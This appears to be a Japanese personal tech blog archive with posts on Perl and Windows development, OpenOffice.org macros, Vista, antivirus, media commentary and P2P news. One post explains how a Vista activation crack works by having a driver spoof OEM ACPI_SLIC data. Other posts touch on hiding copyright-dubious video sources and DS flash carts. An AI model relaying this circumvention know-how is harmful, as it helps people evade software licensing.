もちろん、Platform SDKのインストール場所に応じてドライブレターとかパスは修正して下さい。あと、「/RETAIL」を「/DEBUG」に変えればデバッグ環境になったりします。



これで開発環境出来上がり。GNU makeとかtarとかgzipとかコンパイルできちゃいます。



続く。



てか、よく見たら

「Microsoft Windows Server 2003 R2 Platform SDK Web Install」なんてものも出てるのね。見チェックですがこちらも使えるんじゃないでしょうか。


最近ちょっと驚いた動画の貼り方

最近、動画をEmbededしてるブログは珍しくないけど、YouTubeでもDailyMotionでもない埋め込み動画プレイヤを埋め込んでるブログを発見。
どうやってんだ? まさか自分のサーバーにデータ置いて自前のプレイヤ使ってんのか? とか思ってソースを見たら、以下のようになっていたという話。


   
   
つまり、YouTubeから直でFLVファイルを取ってきて、自サイトで用意したFLVプレイヤで再生させているというカラクリ。メリットとしては、著作権的にちょいと怪しい動画を、そのソースを一見では分からないようにして再生できるっつうところでしょうか。

世の中には色々考える人が居るもんだねぇ。。。

WindowsでPerlでGUI作って.exeを吐かせる【その1:イントロダクション】

Win32::GUIと、WIn32::GUI::Loftなるモジュールを使うとPerlでWindows用のGUIを操作できるっつうのでいじってみているわけですが、かなり楽にGUIが作れていい感じです。ただ、インストールがちょっと面倒。


Perl で GUI: Win32::GUI と Win32::GUI::Loft を使う : いやな日記 で詳しく解説はされているけど、ppmでインストールすると色々と面倒臭いので、モジュールだけはソースから自前でコンパイル+インストールがお薦めです。



VCを買わずとも、無料で公開されている Visual C++ 2005 Express Edition 日本語版Windows Server 2003 SP1 Platform SDK でコンパイル環境は揃います。ググれば情報はいくらでもでてくるので詳細はそのへん参照。



で、GUIが付いたスクリプトができたら、そいつを今度はPARで.exe化してスタンドアロン化すれば普通のアプリと同じように使える、という話。でも、これはこれでインストールがやっぱり面倒だったりする。



ということで、続く。


「痛々しい車」大普及中?

2007年4月3日、ソフトバンク クリエイティブより 「痛車ロード」なる書籍が発売された。
(参考リンク: YouTubeにアップされているCM動画 、にゅーあきばどっとこむの 紹介・レビュー記事 。一部誌面内を確認可能)



「痛車」(【いたしゃ】と呼ぶらしい)とはなんのことだか分からない方も多いだろうが、アニメやゲーム、マンガなどのキャラクターをボンネットやドアなどの車体にペイントしたり、ステッカーを貼ったりしてデコレーションした車をこのように呼ぶそうだ。



秋葉原などで見かけたこともあり、その存在は知っていたのだが、この本によると「痛車」のムーブメントは日本中に広がっているらしく、単車や自転車(それぞれ痛単車【いたんしゃ】、痛チャリ【いたちゃり】と呼ぶらしい)なるものまで出現しているそうだ。



誌面では大量の痛車がそのオーナーのコメントや写真とともに紹介されているが、スポーツカーや高級車を改造したものも多く、意外(?)に格好いいものも多数。不覚にも、タレコミ子もちょっとやってみてもいいかも・・・とか思ってしまった。ぜひ一度チェックしてみてはいかがだろうか。



ちなみに、付録にはKEYの新作ゲームのステッカーが付き、また痛車の作り方(?)講座なども掲載されているので、痛車乗りを目指す方にもオススメかも知れない。

ひろゆきのブログとその反応に反応。

不完全なルール。 : ひろゆき@オープンSNS」
で、↓のようなエントリが。


さて、賠償金に関しては支払わなくても刑事罰が発生したりすることはありません。

これも変なルールだなぁと思うものの、ルールの上で決まった結果に対して、ルールの上で認められた行為をしてるわけです。


それに対し、『 [元検弁護士のつぶやき: 「死刑になるなら払う」 & 「不完全なルール。」 について][2] 』で↓のように言及がありました。

 

完全に裁判所を敵に回した言い草です。

 そろそろ刑事事件として動き出すかもしれません。
 そうなったときにこの発言が担当裁判官にいくばくかの影響を与えたとしても不思議はないと思います。
 裁判官も人間ですから。
 私としては嫌いな言葉ですが、こういう人物こそ【国策捜査】の対象とされるべきでしょう。
 放置すると国民の規範意識に深刻な悪影響が生じる恐れを感じます


あぁ、検事とか弁護士ってこんな判断をするんだな、と。取りあえず、ひろゆきは「罰を受けない」といっているのに、なんで刑事事件になるのかくらいは説明してほしかったりする。あと、「【国策捜査】」とかいうと、そういうことが本当にあって、国がバックアップして対して悪いことしていないのに捕まって実刑受ける、ということがあるという疑惑を認めちゃうことになると思うんだけどどうなんでしょ。

で、またひろゆきのブログから。

さておき、ルールの問題はいろいろあるのですが、モラルの問題として、

裁判所が削除すべきだと判断したものは削除すべきだと思ってます。
なので、削除命令が出たものに関しては、削除要請板のほうに
知らせてもらえれば、削除出来る人が削除するような仕組みになってたりします。
でも、あんまり使われているという話は聞かなかったりします。
削除したくて裁判を起こしてるというわけではないんですかねぇ?
追記:
よくある意見の一つとして「弁護士雇えばいいじゃん」というのがあります。
ネット関係できちんと証拠調べまでして、地方への交通費を入れて
弁護士に依頼すると100万弱ぐらいの金額がかかります。
訴訟を起こす側は数千円で済むのですが、訴訟を受けた側は、
勝訴したとしても、弁護士費用で100万円とか払うわけです。
数千円を使う人を相手に毎回100万円近くのお金がかかるわけですね。


まぁ、俺的には納得できる話だと思うんだけどね。

個人的見解:
・原告は削除要請の方法があるのになんで使わないの? 「特別扱いしろ」とか「俺は2chより偉い」とか思ってんのか?
・確かに複数人でふくろ叩きだよね
・つぅか別にひろゆきは訴訟についてもまったく興味ないんだろうな
・そんな態度なので訴えた側はキレる、と。

ていうか海外だとYouTubeみたいに、削除窓口で申請→滞りなく削除、なら問題ないのに日本はダメっぽいんだよね。そのへんがひろゆき氏も引っかかってるじゃないかと。

ということで、いまいち世の中で2chは悪、というように言われてるけど「 [小野和俊のブログ:IT業界の大企業での生々しい話を5つほど][3] 」でこんなネタが。

1. 2ch へのアクセス禁止で開発効率が大幅に低下

とある大手 SI の方の話。
会社で 2ch へのアクセスを禁止したところ、開発の速度が目に見えて低下したので、
何が起こったのかと現場にヒヤリングしたところ、今までは困ったときに
2ch で聞いて問題を解決していたが、2ch にアクセスできなくなって、
はまってしまったときにどうにもならなくなってしまったとのこと。

という話もあるということで、2chが閉鎖されるとIT業界はダメージを受ける恐れがあるため、本気でIT業界は2ch保護をしてもいいんじゃないかと思ったり思わなかったり。

ドラゴンコンピュータにいった

マジコンに強い店、と聞いてちょっくら言ってきた。
スゲーうさん臭かった(笑)。昔の秋葉原のジャンクパーツ屋みたいだよ(笑)。



で、誤ってDS lite専用のマジコンを買ってしまったので予想外にGBAで使えない。いや本当に予想外だよ・・・


DSの勝手ソフト開発

最近(でもないが)、DSで自作ソフトを動かす方法が次々と見つかっていて、DSソフト開発が徐々に盛り上がり気味のようだ。


以下は資料として結構ためになるサイト。

Homebrew Nintendo DS Development



あと、積極的に開発をされている海外のサイト。

GPFs Dreamcast and Nintendo Dev Site



開発キット入手先。

Setting Up



Linux環境での開発に慣れていれば結構簡単に開発が始められる。自分もちょっと試してみたが、Hello, worldまでは簡単にできた。



問題はその先。マルチメディアライブラリのSDLが移植されているのでそれをいじってみたのだが、まともに動かない。サンプルコードのコンパイルまではできるのでタチが悪い。Linux上で動かせるエミュレータの選択肢が少ない(というか、DeSmuMEくらいしかない)ため、エミュレータの問題の可能性もないとは言えないのだが、取りあえず有効なデバッグ方法が思いつかないので停滞中。。。



ということで、お暇な方は手を出してみても面白いかも。


意外にBuggyなNet::Amazon

PerlでAmazon APIを使うNet::Amazonモジュールの話。


Net::Amazonでは、Amazonストアでの種別(本とかCDとか)別にプロパティクラス(Net::Amazon::Property::*)があるんだけど、現状では

  • Book
  • CE
  • DVD
  • Music
  • Software
  • VideoGames

しか用意されていない。これ以外の種別のItemの場合、ItemLookupをしたときに汎用オブジェクト(Net::Amazon::Propery)でプロパティが帰ってくるんだけど、このクラスのコンストラクタ処理が不完全っぽくてカスタマーレビューが返ってこなかったり、製品名が返ってこなかったり。。。

ということで、テキトーなパッチ。いまの仕事が片付いたらちゃんとdiffとって報告せねば。
*** Property.pm.org     2007-03-15 01:25:47.000000000 +0900

— Property.pm 2007-03-19 20:30:27.000000000 +0900
\***\***\***\***\***
\*\\*\* 30,36 \*\***
      OurPrice => [qw(Offers Offer OfferListing Price FormattedPrice)],
      SmallImageUrl => [qw(SmallImage URL)],
      SuperSaverShipping => [qw(Offers Offer OfferListing IsEligibleForSuperSave
rShipping)],
!     Title => [qw(Title)],
      ThirdPartyNewCount => [qw(OfferSummary TotalNew)],
      ThirdPartyNewPrice => [qw(OfferSummary LowestNewPrice FormattedPrice)],
      TotalOffers => [qw(Offers TotalOffers)],
— 30,36 —-
      OurPrice => [qw(Offers Offer OfferListing Price FormattedPrice)],
      SmallImageUrl => [qw(SmallImage URL)],
      SuperSaverShipping => [qw(Offers Offer OfferListing IsEligibleForSuperSave
rShipping)],
!     Title => [qw(ItemAttributes Title)],
      ThirdPartyNewCount => [qw(OfferSummary TotalNew)],
      ThirdPartyNewPrice => [qw(OfferSummary LowestNewPrice FormattedPrice)],
      TotalOffers => [qw(Offers TotalOffers)],
\***\***\***\***\***
\*\\*\* 47,53 \*\***
        ‘Asin’        => ‘ASIN’,
        ‘url’         => ‘DetailPageURL’,
      ‘Media’       => ‘Binding’,
!     ‘ProductName’ => ‘title’,
  );
 
  \_\_PACKAGE\_\_->make\_accessor($\_) for @DEFAULT_ATTRIBUTES;
— 47,53 —-
        ‘Asin’        => ‘ASIN’,
        ‘url’         => ‘DetailPageURL’,
      ‘Media’       => ‘Binding’,
!     ‘ProductName’ => ‘Title’,
  );
 
  \_\_PACKAGE\_\_->make\_accessor($\_) for @DEFAULT_ATTRIBUTES;
\***\***\***\***\***
\*\\*\* 163,168 \*\***
— 163,169 —-
  #         die “%Error: there is no property defined for type ‘$catalog’\n”;
          DEBUG(“Creating new Default Property ($catalog)”);
          $obj = Net::Amazon::Property->new(xmlref => $xmlref);
+         $obj->init\_via\_xmlref( $xmlref );
      }
 
      return $obj;
~ # 追記@3/20 2:00。誤字修正。

egwordの新バージョンが出るそうだがアップデート方向がナナメ下な件について。

OS X上で動く数少ないワープロの一つ、egword Universalの新バージョンが出るそうで、有償アップグレードのお知らせが来ていたわけですが。 **こんなにアップグレード所が間違った方向に行ってるのは見たことねぇぜ!**てな感じですよ。


egwordの特徴としては、ぱっと見キレイな文書が作れそう、とか、DTPっぽいことができそう、という点なわけでそこらへんの機能強化については別に文句は言わないんだけど、実際のところ基本機能が弱い現状ではそこにテコ入れして欲しかったわけですよ。



例えば、ライター的な仕事をしているとしょっちゅう使うのが、別に用意していた画像を一気に多数貼り付けて、キャプションを付ける作業。まずは画像を文書に一気にドラッグ&ドロップできるのは良いんだけど、画像を「フロート」的、つまりテキストの挿入や削除操作をしても画像の絶対位置が変化しない形でしかテキストを回り込ませられないので、テキストを入力→画像の再配置を繰り返さないといけない。



あとの不満点も多数。

・画像のトリミングが不可。わざわざ別のソフトでトリミングしてから貼り付けないとダメ。

・意外に使えそうな図形編集機能も、なぜか変な所にバグがあったりして、図形内にテキストを入力すると意図しない結果になったりすることがある

・設定した文書幅を越える幅の表が組めない。例えばテキストを1行20字とかに設定して、表だけ用紙幅をフルに使う、とかできない

・インスペクタは便利だけど、同時に1つしか開けない。テキストのスタイルを変えつつ表のスタイルを変える、といった場合とか頻繁に切り替えが必要

・「同一文章中に様々なページレイアウトの混在を可能にする、セクション機能」があるけど、イマイチ設定方法が不明・・・

・マクロがない!



ということで、ここら辺が改善されればアップグレードしたいんだけどねぇ。結局、微妙な機能のテキストエディタと化していてNeoOfficeと併用になってる。



#なんかすげー言いがかりをつける感じのエントリになってしまった・・・


レンタルサーバー(というかSAKURAサーバー)へのCatalystインストールメモ

とりあえず、CPANでガンガン~/以下にモジュールをインストール。


ちなみに自分の~/.cpan/CPAN/MyConfig.pmは↓のような感じに~/local/以下にモジュールをインストールするように設定済み。

  'make_install_arg' => qq[SITEPREFIX=$ENV{HOME}/local PREFIX=$ENV{HOME}/local],

  ‘makepl_arg’ => qq[INSTALLDIRS=site LIB=$ENV{HOME}/local/lib/perl5 PREFIX=$ENV{HOME}/local],
  ‘mbuildpl\_arg’ => qq[./Build –install\_base $ENV{HOME}/local], ・Task::CatalystとCatalyst::Develをとりあえずインストール。あとはエラーが出たら適宜突込む感じ。

・Catalyst環境が導入されたら、ローカルで作ったCatalystアプリケーション一式を展開。場所は~/www/以下ならどこでもOKだけど、今回は~/www/ARSearch/以下に展開。ちなみに今回のアプリ名は「ARSearch」。

・script/以下の「アプリ名\_cgi.pl」を「アプリ名\_cgi.cgi」にリネーム。
・「アプリ名_cgi.cgi」の一行目を以下のように変更(ローカルのperlモジュールをロードできるようにするため)。
#!/usr/bin/perl -w -I/home/<ユーザー名>/local/lib/perl5

・以上で、「http://<サブドメイン名>.sakura.ne.jp/<アプリ名>/script/<アプリ名>_cgi.cgi」にアクセスするとアプリがCGIとして動く。



・しかし今回、なぜかViewのテンプレートへうまくアクセスできなかったのでarsearch.ymlでフルパス指定。これでとりあえず動作。

$ less arsearch.yml


name: ARSearch
Charsets::Japanese:
  charsets: ‘UTF-8’
View::TT:
  INCLUDE_PATH:
     – ‘root/template’
     – ‘/home/<ユーザー名>/www/ARSearch/root/template’
  TEMPLATE_EXTENSION: ‘.tt’ 結論:root権限がないホスティングサーバーでも意外にすんなり動くんだね。

Vistaクラックに対する個人的意見。

またタレこんだネタが若干炎上気味なわけですが、個人的には


・アクティベーション済みのVistaの存在

・そのアクティベーション方法

・デバイスドライバによるクラック



が面白かったのでタレこんだという話。ちなみに実際のクラックはツールがすでに公開されているので誰でもできるようだ。



というか、あまりにGIGAZINEの記事の技術解説が意味不明だったので勢いあまってタレこんだために技術解説に終始したのはよろしくなかったかも。しかしこのネタへの拒否反応が出るとは・・・。



話は変わるが、これを見てXP→Vistaのアップグレード期間が3月中だったことに気づいて早速申し込みをしたわけですが、申し込みサイトの日本語がヒドイ・・・。



「電話番号(唯一)」ってなんだよ!とか、「ます。です。」とかあったりとか、機械翻訳かよ!



そして、オンラインで申し込んでさらに申込書を郵送しなきゃいけないのね。自宅に切手なんかないから超面倒・・・



しかもVista届いてもきっとしばらくはインストールしないんだろうな。。。


Windows Vistaのアクティベーションをクラックする新手法が登場

GIGAZINEの「 WindowsVistaのBIOSをエミュレートしてクラックする新手法が登場」という記事によると、BIOSをエミュレートすることでWindows Vistaを正規のアクティベーション手続きを行わずに利用する方法が発見された、とのことだ。


しかし、GIGAZINEの記事を読んでもいったい何をやっているのかさっぱり分からなかったため、この記事のネタ元( FILEnetworks Blog: Vista 32-bit one click activator (BIOS Emulation) )や Vista Cracked by Team Paradox by Reaper-X .:[ ID ]:. などを確認したところ、これはHPやレノボなどの大口OEMメーカーに向けた、アクティベート済みのVistaをPCに組み込む機能を利用しているらしい。



この「アクティベート済みVista」は、以下のようなメカニズムで実現されている。

  • OEMメーカーはBIOSにマイクロソフトによって署名された「ACPI_SLIC」と呼ばれる情報を埋め込む
  • VistaのOEMインストールメディアやリカバリメディア中には、各メーカーの「ACPI_SLIC」リストが「oemname.xrm-ms」というようなXMLファイルに記録されている
  • Vistaのライセンス認証システムが「oemname.xrm-ms」ファイルを発見し、稼働システムのBIOSの「ACPI_SLIC」情報が「oemname.xrm-ms」ファイル中に記録されているものと一致し、かつプロダクトキーが特定のものであった場合、即座にシステムをアクティベート済みにする


これを利用し、Vistaのライセンス認証システムがBIOSから「ACPI\_SLIC」情報を取得する際に「oemname.xrm-ms」ファイルに記録されている「ACPI\_SLIC」情報を返すようなデバイスドライバを作成することで「ACPI_SLIC」を偽装し、特定のプロダクトキーを入力するだけでアクティベートを完了させることができてしまうそうだ。

ちなみに、このクラックは32ビット版のすべてのエディションで利用できる、とのこと。
これに対してマイクロソフトがどのように対策を施すのか、それともまったく無視するのかが気になるところだ。


無料のウイルス対策ソフト「AVS」は実は日本で配布するとジャストシステムに文句言われるらしい。

GIGAZINEの「 アンチウイルスソフトウェアランキング、最強はどれ? – GIGAZINE」とかでも取り上げられていて、局地的にブームらしい(?)ウイルス対策ソフト、「AVS」。無料なのに、検索エンジンはKaspersky(ジャストシステムが売ってるやつ)のものを使っているということで高性能。一応AOLが関わっているので、出元も確か(だと思う)で使わない手はない。ただし、UIは全部英語。


ちなみに、使い方は「 無料で使えるウィルスソフトActiveVirusShield 」などをどうぞ。



で、こんなスゲー&お得なものがなんでそんなに話題になっていないのか、という話なんだけど、国内ではKasperskyのウイルス検知エンジンの権利をジャストシステムが全部握っているらしく、配布すらNGらしいのだ。もちろん他のウイルス対策ソフトウェアとは直に競合する製品だから、下手に商用メディアなどで紹介してしまうと、他のウイルス対策ソフトウェアメーカーから広告が干されるという話もあるとかないとか(PC雑誌とか商業ニュースサイトではセキュリティ関連ベンダーの広告多いし)。



個人的には、ウイルス対策ソフトウェアを積極的に導入する気はあまりなく、無料のAVSで全然問題ないと思うのだが、いかんせん英語ということで敷居が高いのも事実。ということで誰か日本語化してくれればいいんだけど、もし作ったとして、この日本語化パッチの配布ってどうなんだろうか。多分合法だとは思うけど、すげー文句付けられそうな気はする。



ということで、フリーのアンチウイルスのClamAVに期待なワケなんですが先のGIGAZINEの記事によるとやはり性能はまだまだな様で・・・。



まぁ、初心者ほどウイルスに感染しやすいとは思うので、そのような方々にはサポートのある商用製品をお勧めします・・・。



※追記@4:03。フリーと書くと、OSS的なフリーと間違えられる可能性があるので「無料」に修正。

MovableTypedeのエントリをPerlで操作その2

かなりドツボにはまったのでメモ。

  • [「旅行びと日記」日記: はてブのブックマークを自動的にBlogへ投稿するスクリプト][1] 
    
  • [Movable Type 3.2 マニュアル &#8211; プログラミングインターフェイス][2] 
    
  • [MovableType で使える XML-RPC API][3] 
    


この3つを見れば大体のスクリプトは書ける。問題はUTF-8文字列を送信しようとしたらエラーになったこと。XMLRPC::Liteを使ってたんだけど、内部的にUTF-8文字列をMIME::Base64::encode_base64に突込んでいるようでそこでエラーに。

で、結局見つけたのが「 [XMLRPC::Lite (SOAP::Lite) で base64 エンコーディングさせない: blog.bulknews.net][4] 」。

これでとりあえず解決、したと思ったら別の部分の思わぬミス(エントリ本文をファイルから undef $/ 使って一気読み後、 $/ を再設定し忘れ)で変なタイトルのエントリが大量発生・・・

やはりPerlは恐ろしい。

IE6をMacで動かす

といっても、Intel MacでWINEを使って動かす話。


Zope3 lab developers portal: How to install IE6 on Mac OS X (Intel)



いま、Web関連の仕事をしているんですがFirefoxとかSafariだとキレイに見えるのに、IEだと崩れる、というレイアウトが結構あって、Macでデザインしていると気付かずにやばいというお話。



これ使えるとかなり解決できるんだけど、導入が非常に面倒臭そうなのねーーー。


「ハス合成画像」

なんかGoogleイメージ検索で「蓮画像」を検索すると、まっさきに蓮を人間に合成した画像がでてくるわけですが。


確かに気持ち悪いんだけど、個人的には大して精神ダメージは受けなかったわけですよ。まぁ理由はアトピー性皮膚炎で全身がひどいことになっている写真を幼少のころ皮膚科で見せられてたから(汗)



こっちは実際にそうなる可能性があるわけだから恐ろしさもひとしおですよ。



ということで、蓮コラを見るならアトピー画像を見ろ、と。ネットにあるかどうかは知らんけど。

あと、グロ画像掲示板を見たら糞画像(駄目画像、という意味じゃなくて本当に便器+糞の画像ね)ばかりで吹いた(笑)。



でも、どっちも耐性ない人は駄目なんだろうな。恐ろしい時代になったもんだー(棒読み)



#ちなみに別にそういう趣味があるわけではなく、 ネットで探し物をしていたらたどり着いただけ 、と強調しておく。


OpenOffice.orgで選択した文字列orセルをハイパーリンク化

OpenOffice.orgで選択したURL文字列orURL文字列が入った表計算セルを、ハイパーリンク化するマクロを個人的にメモ。
元ネタはこちら「 小泉守義のPHPソースコードウォッチ

Sub AddLink

    dim documentFrame as Object
    dim documentView as Object
    dim dispatcher as Object
 
    documentView = ThisComponent.CurrentController
    documentFrame  = documentView.Frame
    dispatcher = createUnoService(“com.sun.star.frame.DispatchHelper”)
 
    dim setHyperLinkArgs(1) as new com.sun.star.beans.PropertyValue
 
    dim cell as Object
    dim cellRange as Object
    dim cellRangeAddr as Object
 
    cellRange = documentView.Selection
    cellRangeAddr = cellRange.getRangeAddress()
 
    for i = cellRangeAddr.StartColumn To cellRangeAddr.EndColumn
        for j = cellRangeAddr.StartRow To cellRangeAddr.EndRow
            cell = cellRange.getCellByPosition(i – cellRangeAddr.StartColumn, _
                    j – cellRangeAddr.StartRow)
 
            setHyperLinkArgs(0).Name = “Hyperlink.Text”
            setHyperLinkArgs(0).Value = cell.Formula
            setHyperLinkArgs(1).Name = “Hyperlink.URL”
            setHyperLinkArgs(1).Value = cell.Formula
            documentView.Select cell
            cell.Formula = “”
            dispatcher.executeDispatch(documentFrame, “.uno:SetHyperlink”, “”, 0, _
                    setHyperLinkArgs())
        next
    next
End Sub

EmacsでPerlコーディングをするときに[Tab]キーでスペースを入力する

Perlでコードを書くとき、Emacsのデフォルトだとなぜかスペースとタブを混同してインデントしてくれる(気がする)。


ということで、Emacs 21.4.11 での解決方法。以下を.emacs.elに書く。

(add-hook 'perl-mode-hook

          ‘(lambda ()
             (setq indent-tabs-mode nil))) 個人的にはインデントはタブだろうがスペースだろうがどっちでもいいんだけど、とりあえず混在はヤメテください。

#育ったプログラミング環境がVC使いだとタブで、Emacs(or vi)使いだとスペースになる気がする。

OpenOffice.orgメモ

OpenOffice.orgで開いている表計算シートの全タブをCSVで保存するマクロ改。
デフォルトでカレントディレクトリを選択するように変更&選択ダイアログを「キャンセル」すると

ちゃんとキャンセルされるように設定。

REM  *****  BASIC  *****

 
Sub Main
 
End Sub
 
Sub Macro1
 
End Sub
 
Sub SaveAllSheetAsCSV
Dim oDoc As Object
 
  oDoc = ThisComponent
 
  Dim oCController as object
  oCController = oDoc.CurrentController
 
  If oDoc.supportsService( “com.sun.star.sheet.SpreadsheetDocument” ) Then
‘    MsgBox “Supported”
 
‘    MsgBox oDoc.URL
 
    Dim oSheets As Object
    oSheets = oDoc.getSheets()
 
    Dim oFolderPicker As Object
    oFolderPicker = createUnoService(“com.sun.star.ui.dialogs.FolderPicker”)
    oFolderPicker.setDisplayDirectory(oDoc.URL)
 
    if oFolderPicker.execute() = 0 Then
        Exit Sub
    End If
 
‘    MsgBox oFolderPicker.getDirectory()
 
    Dim aArgs(1) As New com.sun.star.beans.PropertyValue
    aArgs(0).Name = “FilterName”
    aArgs(0).Value = “Text – txt – csv (StarCalc)”
    aArgs(1).Name = “FilterOptions”
    aArgs(1).Value = “44,34,76”
 
    Dim SaveDir As String
    SaveDir = oFolderPicker.getDirectory()
    For i% = 0 To oSheets.getCount() – 1
 
      Dim SaveURL As String
      SaveURL = SaveDir + “/” + oSheets.getByIndex( i ).getName() + “.csv”
 
      oCController.ActiveSheet = oSheets.getByIndex( i )
      MsgBox SaveURL
 
      oDoc.storeAsURL( ConvertToURL(SaveURL), aArgs() )
 
    Next i
 
    oCController.ActiveSheet = oSheets.getByIndex( 0 )
  Else
    MsgBox “Document is not a spreadsheet.”
  End If
 
End Sub

何このVistaの温度差は。

アレゲな世界ではVistaはまったく盛り上がってないのに、一般社会でのVistaの盛り上がりっぷりは異常なほど。


・30日朝っぱらから、ラジオ番組で「Vistaは電源入れて5秒で立ち上がる」とかいって盛り上がってる

・テレビでもニュースでひたすらVista

「VistaはXPの2倍は売れる」マイクロソフトのヒューストン社長



まぁ最後のは置いておいて、Vistaは5秒で立ち上がるって違わねぇか? これ多分スリープ状態からの復帰だと思うんだけど……。それいうなら、Macなら2、3秒でスリープから復帰するって。



ということで、機会があれば無駄にVistaを人柱って見ようかと思います。


高速USBメモリ

USBメモリなんて、USB 2.0ならどれもスピード同じだと思ったワケですが、ダマされたと思って「1000%速い」USBメモリを買ったところ速い速い速い!


HDD間のコピーと同じくらいの体感で使えるじゃねーか!



ということで、無駄に現在1GBのUSBメモリが3本あるわけですが高速モデルじゃない2本はしばらくお蔵入りになりそうです。



いやぁ、マジで高速モデルおすすめだわ。

リアルにフィッシングサイトにダマされかけた

「http://www.any-dvd-converter.com/」というサイト。


「Any DVD Converter」なる、動画ファイルやDVDをPSPとかiPodとか携帯とかのモバイルプレイヤーに変換するソフトを有償(一部のソフトは無償)配>布しているサイトなんだけど、会社の同僚(PCあまり分からない)が会社のPCでアクセスしたところ、ウイルスバスターが反応。

の件だけど、このサイト「http://www.any-video-converter/」のフィッシングサイトだと判明。



リアルに初めてフィッシングサイトにダマされかけましたよ。ソフト名が「Any Video Converter」だったことに気付かなければダマされたままだったね。



こんな微妙なオンラインソフトウェア販売会社までもターゲットにするなんて、おそるべしフィッシングサイト。


夕張市成人式の真実?とか。

夕張市成人祭 〜マスコミが報道しない真実〜というサイト。


「TVニュースとかで夕張市の成人式の予算が1万で大変だ、とか言われてたけど、実はちょっと実際は違っていた」という話なんですが、内容的には非常に納得できるお話。



ただ、いちゃもんをつけるみたいでアレなんだが、ふと思ったのは「この記事は真実なのか?」ということ。なぜこんなことを思ったかというと、この記事には公式な情報ソースがまったく記述されていない、という点と、発信者の情報がまったく分からない、という点が気になったからだ。個人的には信じたいところだけど。



いや、別に自分も一般マスコミを信じているわけではない、というかTVとかホント信じていないワケなんだが、TVは少なくとも動画や音声である程度「真実っぽい」ものを発信している。嘘の映像をでっちあげるのは不可能ではないが、コストはかかる。



逆に、ネットだとテキスト中心だから非常に「でっち上げ」が簡単な訳で、結局ブログなどに書かれたことが信頼できるかはその発信者が信頼できるか、もしくは信頼できるソースを基にしているか、というところにかかってるわけだ。だいたい、多くの人にとってはポッとでのメディアでかつ誰が発信しているか分からないネットの情報よりも、とりあえず歴史のあるTVのほうが信じられるという傾向があるワケで、それだけでもうネットは不利だ。



不二家のニュースで、どこの誰かも分からないおばちゃんが取材に答えて近所にお隣さんの噂をばらまくがごとく「不二家は3秒ルールOK」的なことを言っているのがたびたび流れているのを見て、「TVはまだ権威があるから殿様だよな」とか思う。あれをネットの誰のか分からないブログで書いたところで、社会的な影響力はほとんどないだろう。



一方、「 続ドクバリニッキ – ペコちゃんを買うのは誰だ? 」という記事もある。東京と大阪ではTV報道の方向が違う、という話だ。



また、「 真城の居間 – メカビVol.02 」によると「メカビ」という雑誌でテレビや一般雑誌での「オタク」の扱いについて取材がされているそうで、それによると

日々色々な事件が起きているのに、オタク的なものばかり扇情的に取り上げられるのは「面白いから」「視聴率が取れるから」

だそうだ。



こういうのを見るとホント、マスコミの傍若無人っぷりにむかつくわけですが、きっとその傾向はなくならないんでしょうな。



最近はTVを見ている人が少なくなっているらしい(自分の周りでもホントにTVを見ている人は少なくなった。とくにIT系の仕事な人)ので、こういうのを作っている人たちの前で「自分らTV見てませんから」といってみたいものだ。



# 完全デジタル化がされたらTV視聴者って確実に減る気がするんだけどどーなんでしょ


IFRAMEで謎のスクリプトファイルをロードさせる商用ソフト配布サイト

「http://www.any-dvd-converter.com/」というサイト。


「Any DVD Converter」なる、動画ファイルやDVDをPSPとかiPodとか携帯とかのモバイルプレイヤーに変換するソフトを有償(一部のソフトは無償)配布しているサイトなんだけど、会社の同僚(PCあまり分からない)が会社のPCでアクセスしたところ、ウイルスバスターが反応。



そして1分後くらいに情報システム部から速攻で電話が。コーポレートエディションって、集中管理されてるのね、てか反応早いぞ情シス、とか思いつつ、何が起きたのか分からない同僚のためにとりあえず件のサイトをチェックしたところ、幅0、高さ0のIFLAMEが埋め込まれていて、こっそり怪しいサイトにアクセスするようになっておりました。それをウイルスバスターが検知したということで、とりあえず実害はないっぽいようです。



有償のソフトを配布しているのにこんなん埋め込んでるって意味が分からん。ちなみに配布されているソフトはフリーバージョンもあり、それ自体の評判は良いようです。



しかし、とりあえずウイルスバスターのアラートは一般人には意味が分からないものだったようで同僚は激しくパニクってたわけですがどうにかならないもんなんかねぇ。。。


Alexa調査による日本のアクセス数トップサイト

「PHP×WebサービスAPIコネクションズ」 人気サイトランキング


Web調査会社、AlexaによるWebサイトアクセス数調査を使って日本の人気サイトをトップから並べてるサイトなんですが、トップから順に見て行くと色々と面白い結果が。



まずはアクセス数トップがYahoo! Japan、そして続いてGoogle、mixiというのはだいたい想像がつくわけですが、その次、第4位が楽天。そして、第5位にはライブドア。楽天、ライブドアとも自分は全然アクセスしていないのですが、まだまだ人気のようです。



また、YouTubeは第10位。ここ最近のサービスにもかかわらず、11位のamazonや15位の2chといった古参の有名サイトを越えてます。



そのほか、ジャンル別トップ3サイトは以下のようになってます。



レンタルサーバ/スペース:fc2(6位)、ジオシティーズ(18位)、さくらインターネット(20位)

マスコミ:日経新聞(27位)、毎日新聞(28位)、日刊スポーツ(34位)

ネットメディア:インプレス(31位)、ITmedia(33位)、日経BP(40位)

アダルト:DMM(39位)、99bb(72位)、punyu2 munyu(86位)

TV:NHK(74位)、TBS(78位)、テレビ東京(183位)



あと有名所としては

・GYAO 49位

・Vector 61位

・アップル 64位

・ime.nu 83位

・GIGAZINE 104位

・探偵ファイル 126位

・スラッシュドットJP 178位



だそうで。TV局がNHKトップ、続いてTBSでかなり引き離されてTV東京、というのはやはりネットでの注目度が効いているのでしょうか。TV以外のマスコミ系ではビジネスマン必読?の日経が強し。MSとの連携が効いているのか、毎日新聞も健闘ですね。そしてゴシップネタも積極的にネット配信しているスポーツ新聞が続くという構成で、既存メディアのネットへの注力度がそのままアクセス数につながっているようです。



また、アダルト系も以外に(まぁ、理解できますが)強い。DMMは一般向けの配信もやってTVCMまで売ってますし、ちょいと注目ですかね。


海外のP2Pサイトの強さはすげー

The Pirate Bay、シーランド公国買収に名乗り – Engadget Japanese


とりあえず、このニュースを理解するにはちょいと前説明がいりますな。



日本でP2Pソフトウェアを使った(違法)ファイル共有といえば、WinnyとかShareですが、海外ではBitTorrentがトップシェア。BitTorrentはファイル発信者が公開したファイルをダウンロードするのに.torrentファイルと呼ばれるものが必要です。



でもって、この.torrentファイルを投稿して公開できるサイトがこの「The Pirate Bay」なんですな。ちなみに、このサイト当然各所から法的な警告や手入れを受けているわけですが、「違法ファイル自体を配布しているわけではない」ということでいまのところまだまだ存命中。



そして、違法なものが含まれていてもユーザー数が多ければ影響力も増すわけで、mp3ダウンロードサイトへのアクセス制限をかけたISPに対し、そのISPユーザーのThe Pirate Bayへの接続拒否をちらつかせて圧力をかけたりと、まさに「海賊」。



